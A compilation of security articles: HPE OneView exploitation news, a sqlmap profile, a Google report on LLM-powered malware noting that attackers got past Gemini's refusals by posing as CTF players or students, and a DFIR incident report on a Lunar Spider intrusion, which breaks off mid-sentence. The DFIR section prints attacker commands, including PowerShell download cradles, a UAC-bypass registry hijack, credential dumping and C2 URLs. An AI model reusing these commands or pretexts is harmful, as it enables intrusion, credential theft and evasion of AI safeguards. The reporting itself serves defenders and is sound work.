Recently fixed HPE OneView flaw is being exploited (CVE-2025-37164)
Recently fixed HPE OneView flaw is being exploited (CVE-2025-37164) An unauthenticated remote code execution vulnerability (CVE-2025-37164) affecting certain versions of HPE OneView is being leveraged by attackers, CISA confirmed by adding the flaw to its Known Exploited Vulnerabilities catalog. The vulnerability’s inclusion in the catalog is unsurprising, as technical details and a Metasploit module were made public soon after it was disclosed, making exploitation by less-skilled attackers easier. About HPE OneView and CVE-2025-37164 HPE OneView is a centralized infrastructure management platform used to deploy, monitor, and manage HPE data center hardware and software from a single interface. The solution is popular in large-scale and automated data center environments. “OneView sits at a privileged control plane for enterprise infrastructure, so successful exploitation isn’t just about establishing remote code execution, it’s about gaining centralized control over servers, firmware, and lifecycle management at scale,” Rapid7 researchers explained. “Management platforms are often deployed deep inside the network with broad privileges and minimal monitoring because they’re ‘supposed’ to be trusted. When an unauthenticated RCE shows up in that layer, defenders need to treat it as an assumed-breach scenario, prioritize patching immediately, and review access paths and segmentation.” CVE-2025-37164 is a code injection vulnerability via an unsecured REST API endpoint and can lead to unauthenticated remote code execution. CVE-2025-37164 was privately reported by security researcher Nguyen Quoc Khanh and Hewlett Packard Enterprise released hotfixes on December 16, 2025. Rapid7 researchers analyzed the hotfix and explained how the vulnerability can be triggered. On December 19, a Metasploit module for the flaw was released. HPE says that OneView versions before v11.0 are vulnerable, and organizations should upgrade to it, as there are no workarounds nor mitigations available. UPDATE (January 16, 2026, 08:00 a.m. ET): The vulnerability is being exploited in an automated fashion by the Linux-based RondDox botnet, Check Point Research reported. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!
helpnetsecurity.comJan 8, 2026extracted
sqlmap: Open-source SQL injection and database takeover tool
sqlmap: Open-source SQL injection and database takeover tool Finding and exploiting SQL injection vulnerabilities is one of the oldest and most common steps in web application testing. sqlmap streamlines this process. It is an open-source penetration testing tool that automates the detection and exploitation of SQL injection flaws and can take over database servers when configured to do so. What makes sqlmap valuable is its automation. Instead of manually crafting and testing payloads, the tool does the work of identifying injection points, determining the type of database in use, and running a range of exploitation techniques. For testers working across many targets, that speed and consistency make a difference. How sqlmap works sqlmap uses a detection engine that supports several types of SQL injection: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band. Once it identifies a vulnerability, it can fingerprint the database, extract data, and even execute commands on the underlying operating system, depending on the level of access available. The tool can enumerate users, password hashes, roles, and privileges. It can identify database structures, search for particular tables or columns, and dump selected data ranges. Testers can focus on specific tables or strings, such as names or passwords, to locate sensitive credentials. Broad database support One of sqlmap’s strengths is its wide compatibility. It supports nearly every major database management system, including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, and SAP MaxDB. It also works with newer or niche platforms such as MariaDB, TiDB, CockroachDB, Vertica, OpenGauss, and ClickHouse. This range means testers can apply a single workflow across diverse environments. Whether the target is a traditional relational database or a distributed system, sqlmap can adapt its methods to match the DBMS in use. From database to operating system When sqlmap exploits an injection, it can often go beyond the database itself. If the target runs MySQL, PostgreSQL, or Microsoft SQL Server, the tool can access the file system directly. It allows users to upload or download files from the underlying operating system, a useful capability when testing post-exploitation scenarios. The same applies to command execution. sqlmap can run system commands and retrieve their output, offering testers a way to understand how deep their access goes. For advanced cases, it can open an out-of-band TCP connection between the testing machine and the target. Through this channel, users can spawn an interactive shell, a Meterpreter session, or even a VNC session for remote interaction. Integrating with other tools sqlmap also supports integration with Metasploit for privilege escalation. Using Metasploit’s Meterpreter getsystem command, a tester can attempt to elevate the database process’s privileges to gain higher-level access. This connection between tools highlights sqlmap’s flexibility within broader penetration testing workflows. For users who already have database credentials, sqlmap can connect directly without exploiting a vulnerability. This makes it useful not just for offensive testing but also for auditing and verifying database configurations. Testers can confirm which privileges exist and whether sensitive data is exposed. Why sqlmap remains a standard tool Despite the growth of automated scanners and cloud-based testing platforms, sqlmap remains a standard tool in many penetration testers’ toolkits. Its strength lies in combining automation with fine-grained control. Users can set switches to adjust behavior, control verbosity, or define exactly which data to extract. It supports both wide scanning and targeted analysis. A tester can run it across an entire application to locate vulnerable parameters, then narrow the focus to specific database tables or data ranges. The flexibility to shift between broad reconnaissance and precise exploitation is what keeps sqlmap relevant. sqlmap is available for free on GitHub. Must read: 35 open-source security tools to power your red team, SOC, and cloud security GitHub CISO on security strategy and collaborating with the open-source community Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!
helpnetsecurity.comNov 10, 2025extracted
Google uncovers malware using LLMs to operate and evade detection
Google uncovers malware using LLMs to operate and evade detection PromptLock, the AI-powered proof-of-concept ransomware developed by researchers at NYU Tandon and initially mistaken for an active threat by ESET, is no longer an isolated example: Google’s latest report shows attackers are now creating and deploying other malware that leverages LLMs to operate and evade security systems. A step toward more autonomous and adaptive malware Google’s threat intelligence analysts have observed several instances of AI-powered malware being used in the wild: QuietVault is a credential stealer that targets GitHub and NPM tokens, but also leverages an AI prompt and on-host installed AI CLI tools to search for other potential secrets on the infected system to exfiltrate. PromptSteal (used by Russian APT28, aka Fancy Bear) is a data miner that uses the Hugging Face API to query Qwen2.5-Coder-32B-Instruct to generate one-line Windows commands, which it then executes to collect and exfiltrate data. FruitShell is a reverse shell that contains hard-coded prompts aimed at bypassing detection/analysis by LLM-powered security systems. The above-mentioned PromptLock and PromptFlux (a dropper) are both considered experimental. The former uses an LLM to dynamically generate and execute malicious Lua scripts at runtime, and the latter uses the Google Gemini API to rewrite its own source code on an hourly basis to evade detection. “Adversaries are no longer leveraging artificial intelligence (AI) just for productivity gains, they are deploying novel AI-enabled malware in active operations. This marks a new operational phase of AI abuse, involving tools that dynamically alter behavior mid-execution,” Google’s analysts pointed out. They also found that underground marketplaces catering to cybercriminals have a healthy selection of illicit AI offerings, with various alleged capabilities: AI offerings advertised in underground forums and their capabilities (Source: Google Threat Intelligence Group) AI as a skills enhancer Like Anthropic before it, Google has outlined how various threat actors misused its LLM to increase productivity during all attack stages. A China-nexus threat actor misused Gemini for crafting lure content, building technical infrastructure, and developing tooling for data exfiltration. An Iranian state-sponsored threat actor used it to research how to develop custom malware. Google admitted that both managed to bypass Gemini’s reluctance to provide responses – the China-nexus actor by claiming to be a participant in a capture-the-flag (CTF) exercise, and the Iranian threat actor by posing as a student working on a university project, paper or article. (Google says it has since strengthened protections against these techniques.) How a China-nexus threat actor misused Gemini across the attack lifecycle (Source: Google Threat Intelligence Group) “Threat actors continue to adapt generative AI tools to augment their ongoing activities, attempting to enhance their tactics, techniques, and procedures (TTPs) to move faster and at higher volume,” the analysts noted. “For skilled actors, generative AI tools provide a helpful framework, similar to the use of Metasploit or Cobalt Strike in cyber threat activity. These tools also afford lower-level threat actors the opportunity to develop sophisticated tooling, quickly integrate existing techniques, and improve the efficacy of their campaigns regardless of technical acumen or language proficiency.” Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!
helpnetsecurity.comNov 5, 2025extracted
From a Single Click: How Lunar Spider Enabled a Near Two-Month Intrusion
Key Takeaways The intrusion began with a Lunar Spider linked JavaScript file disguised as a tax form that downloaded and executed Brute Ratel via a MSI installer. Multiple types of malware were deployed across the intrusion, including Latrodectus, Brute Ratel C4, Cobalt Strike, BackConnect, and a custom .NET backdoor. Credentials were harvested from several sources like LSASS, backup software, and browsers, and also a Windows Answer file used for automated provisioning. Twenty days into the intrusion data was exfiltrated using Rclone and FTP. Threat actor activity persisted for nearly two months with intermittent command and control (C2) connections, discovery, lateral movement, and data exfiltration. This case was featured in our September 2025 DFIR Labs Forensics Challenge and is available as a lab today here for one time access or included in our new subscription plan. It was originally published as a Threat Brief to customers in Feb 2025 The DFIR Report Services Private Threat Briefs: 20+ private DFIR reports annually. Threat Feed: Focuses on tracking Command and Control frameworks like Cobalt Strike, Metasploit, Sliver, etc. All Intel: Includes everything from Private Threat Briefs and Threat Feed, plus private events, Threat Actor Insights reports, long-term tracking, data clustering, and other curated intel. Private Sigma Ruleset: Features 170+ Sigma rules derived from 50+ cases, mapped to ATT&CK with test examples. DFIR Labs: Offers cloud-based, hands-on learning experiences, using real data, from real intrusions. Interactive labs are available with different difficulty levels and can be accessed on-demand, accommodating various learning speeds. Contact us today for pricing or a demo! Table of Contents: The intrusion took place in May 2024, when a user executed a malicious JavaScript file. This JavaScript file has been previously reported as associated with the Lunar Spider initial access group by EclecticIQ. The heavily obfuscated file, masquerading as a legitimate tax form, contained only a small amount of executable code dispersed among extensive filler content used for evasion. The JavaScript payload triggered the download of a MSI package, which deployed a Brute Ratel DLL file using rundll32. The Brute Ratel loader subsequently injected Latrodectus malware into the explorer.exe process, and established command and control communications with multiple CloudFlare-proxied domains. The Latrodectus payload was then observed retrieving a stealer module. Around one hour after initial access, the threat actor began reconnaissance activities using built-in Windows commands for host and domain enumeration, including ipconfig, systeminfo, nltest, and whoami commands. Approximately six hours after initial access, the threat actor established a BackConnect session, and initiated VNC-based remote access capabilities. This allowed them to browse the file system and upload additional malware to the beachhead host. On day three, the threat actor discovered and accessed an unattend.xml Windows Answer file containing plaintext domain administrator credentials left over from an automated deployment process. This provided the threat actor with immediate high-privilege access to the domain environment. On day four, the threat actor expanded their activity by deploying Cobalt Strike beacons. They escalated privileges using Windows’ Secondary Logon service and the runas command to authenticate as the domain admin account found the prior day. The threat actor then conducted extensive Active Directory reconnaissance using AdFind. Around an hour after this discovery activity they began lateral movement. They used PsExec to remotely deploy Cobalt Strike DLL beacons to several remote hosts including a domain controller as well as file and backup servers. They then paused for around five hours. On their return, they deployed a custom .NET backdoor that created a scheduled task for persistence and setup an additional command and control channel. They also dropped another Cobalt Strike beacon that had a new command and control server. They then used a custom tool that used the Zerologon (CVE-2020-1472) vulnerability to attempt additional lateral movement to a second domain controller. After that they then tried to execute Metasploit laterally to that domain contoller via a remote service. However they were unable to establish a command and control channel from this action. On day five, the threat actor returned using RDP to access a new server that they then dropped the newest Cobalt Strike beacon on. This was then followed by an RDP logon to a file share server where they also deployed Cobalt Strike. Around 12 hours after that they returned to the beachhead host and replaced the BruteRatel file used for persistence with a new BruteRatel badger DLL. After this there was a large gap before their next actions. Fifteen days later, the 20th since initial access, the threat actor became active again. They deployed a set of scripts to execute a renamed rclone binary to exfiltrate the data from the file share server. This exfiltration used FTP to send data over a roughly 10 hour period to the threat actor’s remote host. After this concluded there was another pause in threat actor actions. On the 26th day of the intrusion the threat actor returned to the backup server and used a PowerShell script to dump credentials from the backup server software. Two days later on the backup server they appeared again and dropped a network scanning tool, rustscan, which they used to scan subnets across the environment. After this hands on activity ceased again. The threat actor maintained intermittent command and control access for nearly two months following initial compromise, leveraging BackConnect VNC capabilities and multiple payloads, including Latrodectus, Brute Ratel, and Cobalt Strike, before being evicted from the environment. Despite the extended dwell time and comprehensive access to critical infrastructure, no ransomware deployment was observed during this intrusion. If you would like to get an email when we publish a new report, please subscribe here. Analysis and reporting completed by @RussianPanda9xx, Christos Fotopoulos, Salem Salem, reviewed by @svch0st. The infection began with the execution of a Latrodectus JavaScript file, Form_W-9_Ver-i40_53b043910-86g91352u7972-6495q3.js, first reported on X by @Cryptolaemus1 in the following post: The malware was first uploaded to VirusTotal on May 9, 2024, prior to Operation Endgame. This operation occurred between May 27 and 29, 2024, during which law enforcement dismantled multiple botnets, including Latrodectus. After the take down of the botnet, Latrodectus reappeared in June 2024, using tax-themed phishing campaigns as its initial access mechanism that dropped Latrodectus version 1.3 along with Brute Ratel, according to this article by Trustwave. Although our sample was from May and its file name was related to a W-9 tax form, it was version 1.3 of the malware and additionally it utilized Brute Ratel. Based on that, we believe it to be an early version of the campaign that was used later in June. This report from Rapid7, also from June 2024, shows a malicious ad as the initial access used to lure a victim to download the malicious Javascript file. Given the similarity of that report and our initial malware behavior we assess that this we likely the same method used for our case as well. The heavily obfuscated JS file contained multiple lines starting with //, which included filler text. After further analyzing the file, a deobfuscation workflow was identified, executing all the lines of code starting with ////. Deobfuscating the Latrodectus malware, uncovered that it performed an HTTP request to the URL hxxp://91.194.11[.]64/MSI.msi to install the next stage, thus triggering the Suricata rule from Emerging Threats ET POLICY Observed MSI Download. Static analysis of the MSI package revealed that upfilles.dll was embedded within the compressed disk1.cab archive. The MSI installer utilized a custom action to execute the DLL via the legitimate Windows binary rundll32.exe, specifically invoking the exported function stow to initiate malicious execution. Brute Ratel On day one, the loader upfilles.dll began execution on the beachhead host by resolving three APIs (VirtualAlloc, LoadLibraryA, GetProcessAddress) via the following hashing algorithm: for char in api_name: char_byte = ord(char) # Converts to lowercase, adds current hash temp = (char_byte | 0x60) + hash_value # Double for position-dependent hash hash_value = 2 * temp return hash_value Then it decrypted the intermediary Brute Ratel payload via an XOR decryption algorithm using the embedded key: 21 79 3C 7A 39 5F 3E 24 54 4A 7A 35 6C 33 3E 32 5F 66 74 76 6D 59 3C 4D 00 The shellcode above then decrypted the BRC4 badger via the RC4 key 71 24 70 2C 7D 70 61 3F. Below are the decrypted Brute Ratel C4 (BRC4) C2s and RC4 key to decrypt the gathered information on the infected system that is sent to the C2. The subsequent YARA rule triggered during a scan of the process memory for Brute Ratel: On day five, the threat actor deployed a new Brute Ratel DLL through the established BackConnect session: rundll32 wscadminui.dll, wsca The wscadminui.dll file serves as the Brute Ratel badger payload, maintaining the same obfuscation patterns established by the upfilles.dll loader. Decryption of the intermediary BRC4 payload is achieved through XOR operations using the embedded key sequence 75 36 58 33 64 4F 61 3F 4B 59 23 42 77 42 6F 41 39 6D 6E 4E 5E 46 56 47 66 41 00. Latrodectus After executing, Brute Ratel deployed Latrodectus malware through process injection into explorer.exe leveraging CreateRemoteThread API. Latrodectus, a downloader first identified by Proofpoint researchers in November 2023, is attributed to the same threat actors responsible for developing IcedID. Approximately six hours later, the process running Latrodectus established a connection to 193.168.143[.]196 on the beachhead host, which we suspect to have been a BackConnect C2 server. BackConnect is a post-compromise module that was initially deployed by IcedID, allowing threat actors to leverage infected systems for remote access through VNC modules. Multiple security researchers, such as Elastic Security Labs, hypothesize that Latrodectus is a potential successor to IcedID, due to code reuse and behavioral similarities, including the use of the same commands in the Discover flag. An hour after this traffic started, the following command was executed to switch to UTF-8 encoding: cmd.exe /K chcp 65001 && c: && cd c:\ This command was previously observed in Keyhole, a multi-functional VNC/BackConnect component used by IcedID, and prior cases involving IcedID infection. A few minutes later, Latrodectus spawned DLLHost.exe to likely inject the BackConnect payload with PROCESS_ALL_ACCESS (0x1fffff) access rights. The granted access rights provide full control over the target process, enabling memory manipulation, thread creation, and DLL injection capabilities. lsassa.exe Backdoor On day four, the threat actor deployed and executed a binary named lsassa.exe via BackConnect on the beachhead host. The lsassa.exe file was a .NET backdoor that contained an encrypted payload embedded in an assembly resource file named lsassa&&. Inside this resource, a small header was present declaring which protections were used (encryption and/or compression). If encryption is used, it either uses a key embedded in the file or derives one from the assembly’s public key token, then decrypts the payload. If compression is enabled, the code decompresses the decrypted data before loading it. The backdoor implemented a persistent command and control system that establishes covert communication between an infected machine and a remote threat actor controlled server while creating a scheduled task for persistence. Upon initialization, the backdoor establishes a timer-based polling mechanism that triggers every 250 seconds to maintain regular contact with the C2 infrastructure and uses extracted obfuscated strings to construct the command. In our case, the threat actor leveraged the backdoor to create a scheduled task on the beachhead host with the command: "cmd.exe" /c schtasks /create /tn "SchedulerLsass" /tr "%ALLUSERSPROFILE%\USOShared\lsassa.exe" /sc onstart During each communication cycle, the backdoor collects basic system reconnaissance data, including the username and machine name of the infected host, then transmits it to a remote server endpoint. The server C2 (hxxps://cloudmeri.com/comm[.]php) was obfuscated and embedded within the resource file name lsassa$ from the decrypted resource file lsassa&&. After successfully transmitting the victim data, the backdoor waits for a server response containing executable commands. When commands are received from the remote server, the backdoor validates that the response content is not empty and executes the payload through the Windows command interpreter. The execution occurs by spawning a new cmd.exe process with the UseShellExecute flag disabled and CreateNoWindow enabled to maintain stealth, while redirecting standard output and error streams to capture results. The backdoor includes a special termination command that allows the remote operator to exit the backdoor by calling Environment.Exit when a specific response string is received. The backdoor conceals its strings in an encrypted resource and only reveals them at runtime. The extraction function first reads a length value to determine how many bytes to pull, then converts those bytes into readable text using Unicode encoding. Cobalt Strike Several Cobalt Strike beacons were utilized over the course of the intrusion. The first was observed on day four, where the cron801.dl_ file was dropped on the beachhead host under C:\ProgramData from the injected explorer.exe process containing Latrodectus and was then executed twice by leveraging BackConnect. rundll32 cron801.dl_,lvQkzdrFdILT The outbound connection was established with the Cobalt Strike server at hxxp://45.129.199[.]214/vodeo/wg01ck01. Shortly after, the Cobalt Strike beacon spawned from rundll32.exe was injected into sihost.exe process. Analysis of network traffic revealed a JSON response containing minified Vuetify v3.0.3 JavaScript served by the Cobalt Strike C2 server. This discovery led to the identification of additional potentially related C2 servers using Virustotal searches for similar characteristics (JSON response content or the URL path /vodeo/): hxxp[://]94[.]232[.]40[.]49/vodeo/wg01ck01 hxxps[://]techbulldigital[.]com/Apply/readme/VJICARU60DC?_WHBEXNIA=HNMIIIANEMPMLIDFEOPKLBDOEMPI hxxp[://]techbulldigital[.]com/List/com2/9O29EO3IRSBB hxxp[://]filomeruginfor[.]com/christian/house/cwk01 hxxp[://]filomeruginfor[.]com/deolefor/wg01ck01m hxxps[://]wehelpgood[.]xyz/Complete/v9[.]56/KT84GVGD135E hxxps[://]wehelpgood[.]xyz/derive/n/nzoqjd9mme hxxp[://]94[.]232[.]249[.]186/vodeo/vid_wg01ck01 hxxp[://]94[.]232[.]249[.]186/vodeo/wg01ck01 Later the cron801.dl_ file was renamed system.dl_ and deployed to several hosts, this is covered further in the Lateral Movement section Later on the same day, after the execution of the lsassa.exe backdoor, the threat actor dropped sys.dll. This was another Cobalt Strike stager containing shellcode that exhibits similarities to the payload documented in this report, via the BackConnect session on the beachhead host. The threat actor executed it via BackConnect with the command: rundll32 %ALLUSERSPROFILE%\sys.dll,StartUp471 The Cobalt Strike implant initiated outbound communication to 206.206.123[.]209:443 (avtechupdate[.]com) before injecting itself into the sihost.exe process. After the attempted UAC bypass, the Cobalt Strike stager was executed in memory with the C2 pointing to resources.avtechupdate[.]com/samlss/vm.ico. Shortly after, the sihost.exe process (containing an injected Cobalt Strike beacon) used RUNAS execution to create a new process (“gpupdate.exe”) running as the “Domain Admin” account, as described in the Privilege Escalation section. Subsequently, the compromised sihost.exe process, containing an injected Cobalt Strike beacon, leveraged the RUNAS command to spawn a new gpupdate.exe process under the domain admin account. The gpupdate.exe process then injected a Cobalt Strike beacon into the spoolsv.exe process space. Both spoolsv.exe and gpupdate.exe processes were observed creating named pipes consistent with Cobalt Strike communication patterns. The following day the sys.dll Cobalt Strike beacon was executed on two additional servers after connections to those hosts were made via RDP. Registry Run Key Persistence was first established after initial access on day one via a Registry Run key. This was achieved via the rundll32.exe process that created a Run key, with an innocuous name of Update, which would execute the Brute Ratel badger, upfilles.dll, if the system was restarted. The Run key was updated multiple times during the intrusion to point to wscadminui.dll in place of upfilles.dll. We could not determine why the actor re-applied the same change on several occasions. Scheduled Tasks In addition to the Run key the threat actor created a scheduled task on the fourth day of the intrusion on the beachhead host. The scheduled task was created by lsassa.exe which has been explained in further detail in the Execution section. Runas The threat actor activated Windows’ Secondary Logon service to enable the runas command – a built-in Windows feature that allows running programs under different user credentials. By calling this service, they were able to authenticate as the domain admin account found in the unattend.xml file and escalate their privileges from a regular user to full administrative control over the network The Windows authentication log shows successful privilege escalation from a low-privileged user to a domain administrator account with elevated token permissions. UAC Bypass The Cobalt Strike sys.dll implant executed on the beachhead host initiated a UAC bypass using the elevate uac-token-duplication technique, a well-documented registry hijacking method first observed in 2017. This technique exploits the UAC token duplication vulnerability, allowing the Cobalt Strike implant to execute arbitrary code with privileges stolen from elevated processes, successfully achieving privilege escalation without user interaction. Initial registry modifications hijacked the ms-settings protocol handler to redirect Windows Settings calls to malicious PowerShell commands: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /f /d "cmd.exe /c powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/')" reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /f /d "cmd.exe /c powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/')" Privilege escalation occurred through execution of ComputerDefaults.exe, a trusted Windows binary that queries the hijacked ms-settings protocol with elevated privileges. With the elevated token duplicated from ComputerDefaults.exe, multiple PowerShell instances were executed to establish communication with the Cobalt Strike listener, indicating token rights restrictions requiring different execution approaches: "cmd.exe" /c powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/')" powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/')" "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile Process Injection The most common evasion technique that the threat actor utilized was process injection. During its execution, the Brute Ratel loader upfilles.dll launched the final stage of the Latrodectus malware inside the explorer’s memory. From the fourth day onward, the threat actor expanded their tooling and heavily utilized both Brute Ratel and Cobalt Strike for process injection. Using the Sysmon eventID 8, CreateRemoteThread, multiple instances of process injection were identified for both long-term and short-term sacrificial processes. After further investigating the process memory, YARA rules confirmed also the injection of Cobalt Strike beacons into multiple legitimate processes, such as spoolsv.exe. File Deletion Τhe threat actor also deleted files after using them, to cover their tracks and make the investigation more challenging. Specifically, they deleted more than half of the files and tools that had been downloaded on the compromised hosts. Latrodectus Stealer Module Using command ID 21, the Latrodectus-injected explorer.exe process downloaded the stealer module file fxrm_vn_9.557302425.bin from the C2 server. Analysis revealed that the stealer lacks functionality to decrypt cookies from current Chrome versions, suggesting the threat actor may not have updated their stealer module to accommodate recent browser security enhancements. The stealer had the hardcoded time of when the stealer module was built – 00:39:18 Mar 29 2024. Similar to the Latrodectus loader component, the stealer module dynamically resolved Windows APIs by iterating through the Process Environment Block (PEB) InLoadOrderModuleList, computing CRC32 hashes for each loaded module name, and comparing results against target hash values. The stealer was capable of harvesting credentials from 29+ Chromium-based browsers, including Google Chrome, Microsoft Edge, Yandex Browser, Vivaldi, Comodo Dragon, Orbitum, Epic Privacy Browser, and other variants. Firefox receives separate handling through profile enumeration targeting cookies.sqlite database files. During its execution, it extracted email credentials from Microsoft Outlook configurations across Office versions 11.0-17.0 by querying Windows registry keys. The stealer is also capable of harvesting server configurations including SMTP, POP3, IMAP, and NNTP server addresses, port numbers, usernames, and encrypted passwords. Additionally, it targeted the registry path HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles to extract legacy email configurations from older Windows Mail, Outlook Express, and MAPI profiles that may contain additional cached credentials. Internet Explorer credentials were obtained through COM interface manipulation, accessing the IntelliForms Storage2 system. The collected data is organized into distinct sections with the below headers: - cr_pass for Chrome passwords - ff_pass for Firefox data - ie_pass for Internet Explorer credentials - edge_pass for Edge data - outlook_pass for email configurations - _cookie variants for session data. Each section contains structured entries with pipe-delimited fields. The complete dataset undergoes base64-encoding. The stealer then creates a shared memory region named 12345 and stores a pointer to the encoded data, which could allow other processes to access the collected information. Answer File Access Backconnect was used by the threat actor early in the campaign (day three) to list directories on the beachhead. After listing files in directories, the threat actor focused their attention on the file unattend.xml, an answer file. Answer files are used to control the configuration of Windows while setting it up from an image. One of the components of answer files is called Microsoft-Windows-UnattendedJoin which allows admins to easily domain join devices during setup, this is done by supplying plain text credentials (username and password) in the unattend.xml file. The threat actor collected the file via Backconnect (using the GET C:\Unattend.xml command) and was able to access the plain-text domain admin credentials stored in the file. LSASS Access The threat actor utilized their elevated user permissions to access the LSASS process on multiple devices in the environment. All instances of LSASS access followed the same pattern, the access was initiated by an injected process (either runonce.exe or gpupdate.exe) with a process requesting 0x1010 permissions and another instance of the same process requesting 0x1fffff seconds later. This cycle repeated three times in total during the intrusion, each time facilitated via a Cobalt Strike beacon process. Veeam-Get-Creds On day 26 of the intrusion, the threat actor ran the Veeam-Get-Creds.ps1 script from the injected spoolsv.exe process: powershell -nop -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAyADQAMAAwADMALwAnACkAOwAgAFYAZQBlAGEAbQAtAEcAZQB0AC0AQwByAGUAZABzAC4AcABzADEA which decoded to: IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:24003/'); Veeam-Get-Creds.ps1 This technique has been previously observed by ransomware groups such as Noberus and Vice Society. It typically indicates the threat actor is targeting backup systems for destruction or virtualization infrastructure for encryption (commonly protected by Veeam backup solutions). The Veeam-Get-Creds.ps1 script is publicly available on GitHub. Upon executing the script, the threat actor would have obtained any plaintext usernames and passwords stored in the Veeam Credential Manager. These credentials are typically used to authenticate to remote systems for backup operations. Although in this intrusion, this execution was one of the final actions taken by the threat actor. Approximately one hour after Latrodectus was injected into explorer.exe, it began executing the following discovery commands on the beachhead host. ipconfig /all systeminfo nltest /domain_trusts nltest /domain_trusts /all_trusts net view /all /domain net view /all net group "Domain Admins" /domain net config workstation wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed whoami /groups Process activity related to discovery then went quiet until on day four, the injected Cobalt Strike beacon used systeminfo to query for system information. The threat actor then executed DISK command via BackConnect to query disk information. The Cobalt Strike injected processes then executed reconnaissance commands and leveraged AdFind for Active Directory enumeration activities: systeminfo nltest /dclist:domain.local net view REDACTED net user REDACTED /domain dir \\REDACTED\C$ net group "domain admins" /domain dsquery subnet nltest /domain_trusts nltest /dsgetdc:domain.local wmic /node:REDACTED logicaldisk list brief AdFind Active Directory Enumeration: adfind.exe -f "(objectcategory=person)" >> ad_users.txt adfind.exe -f "objectcategory=computer" >> ad_computers.txt%W adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt adfind.exe -subnets -f (objectCategory=subnet)> ad_subnets.txt adfind.exe -gcb -sc trustdmp > ad_trustdmp.txt adfind.exe -f "&(objectCategory=computer)(operatingSystem=*server*)" -csv > ad_servers.csv Continued Discovery and Network Testing: net view REDACTED ping -n 1 REDACTED type "\\REDACTED\C$\REDACTED\REDACTED.bat" The threat actor then tried to move AdFind outputs, but appeared to struggle based on the commands observed: C:\PerfLogs\*.* %ALLUSERSPROFILE%\ move %ALLUSERSPROFILE%\ad_users.txt C:\REDACTED\ move C:\REDACTED\ad_users.txt %PUBLIC%\ While this was happening, they continued to issue more discovery commands and attempted to organize their AdFind output: net view REDACTED wmic /node:REDACTED logicaldisk list brief %WINDIR%\system32\cmd.exe /C ping -n 1 REDACTED move %USERPROFILE%\ad_users.txt %USERPROFILE%\Pictures\ attrib %USERPROFILE%\Pictures\ad_users.txt The actor then expanded their reconnaissance to include DNS information while simultaneously troubleshooting file access issues on their collected data: dnscmd /zoneprint domain.local netdom query SERVER >> serv.log attrib -a -s -h -r /s %USERPROFILE%\Pictures\ad_users.txt attrib %USERPROFILE%\Pictures\ad_users.txt attrib %USERPROFILE%\Pictures\*.* attrib -a +s +h -r /s %USERPROFILE%\Pictures\ad_users.txt Minutes later, the compromised explorer.exe process spawned DllHost.exe, indicating resumption of the BackConnect VNC activity observed previously. The DllHost.exe process subsequently executed a Windows shell command to open the “This PC” interface on the beachhead host: cmd.exe /c start "" C:\Windows\explorer.exe shell:mycomputerfolder The session was then leveraged to attempt to view the AdFind results: "C:\Windows\system32\NOTEPAD.EXE" "C:\Users\ \Pictures\ad_users.txt" The threat actor continued to encounter file permission issues, preventing them from accessing their own data. They attempted to resolve this by first setting the local user as the file owner, then switching to the domain account as owner, and when both ownership changes failed to provide adequate access, they finally used the /reset command to restore default permissions: icacls C:\Users\ \Pictures\ad_users.txt /setowner " " /T /C icacls C:\Users\ \Pictures\ad_users.txt /setowner " \ " /T /C icacls "C:\Users\ \Pictures\ad_users.txt" /reset /T After running the Cobalt Strike beacons laterally on several hosts, the threat actor conducted remote user enumeration across domain systems using the following command from the beachhead host: quser The threat actor utilized the PowerView module Invoke-ShareFinder twice during the intrusion. IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:49157/'); Invoke-ShareFinder -CheckShareAccess -Verbose | Tee-Object ShareFinder.txt Approximately 45 minutes following the Metasploit shell deployment attempt on the second domain controller, the threat actor initiated an additional round of AdFind reconnaissance from the beachhead host: AdFind.exe -b dc=domain,dc=local -f (objectcategory=person) > adflogs\domain.local_ad_users.txt AdFind.exe -b dc=domain,dc=local -f (objectcategory=computer) > adflogs\domain.local_ad_computers.txt AdFind.exe -b dc=domain,dc=local -f (objectcategory=organizationalUnit) > adflogs\domain.local_ad_ous.txt AdFind.exe dc=domain,dc=local -subnets -f (objectcategory=subnet) > adflogs\domain.local_ad_subnets.txt AdFind.exe -b dc=domain,dc=local -f (objectcategory=group) > adflogs\domain.local_ad_group.txt Although the threat actor attempted to compress the collected data, forensic analysis did not identify any created zip archives on the system. "7z.exe" a -mx1 -r0 adflogs.zip adflogs The threat actor returned 28 days after the initial access to run a final round of network scanning discovery. Operating from a backup server, the threat actor deployed the rustscan tool through the Cobalt Strike-injected spoolsv.exe process, first running rustscan with the help flag. The threat actor then began scanning various /16 and /8 network blocks for SMB services. rustscan.exe -a REDACTED/16 -p 445 --no-nmap rustscan.exe -a REDACTED/16 -p 445 rustscan.exe -a REDACTED/8 -p 445 "nmap -vvv -p 445 REDACTED" WMI Remoting Although the threat actor ran discovery commands just under an hour from the initial access, the first lateral movement attempt came three days into the 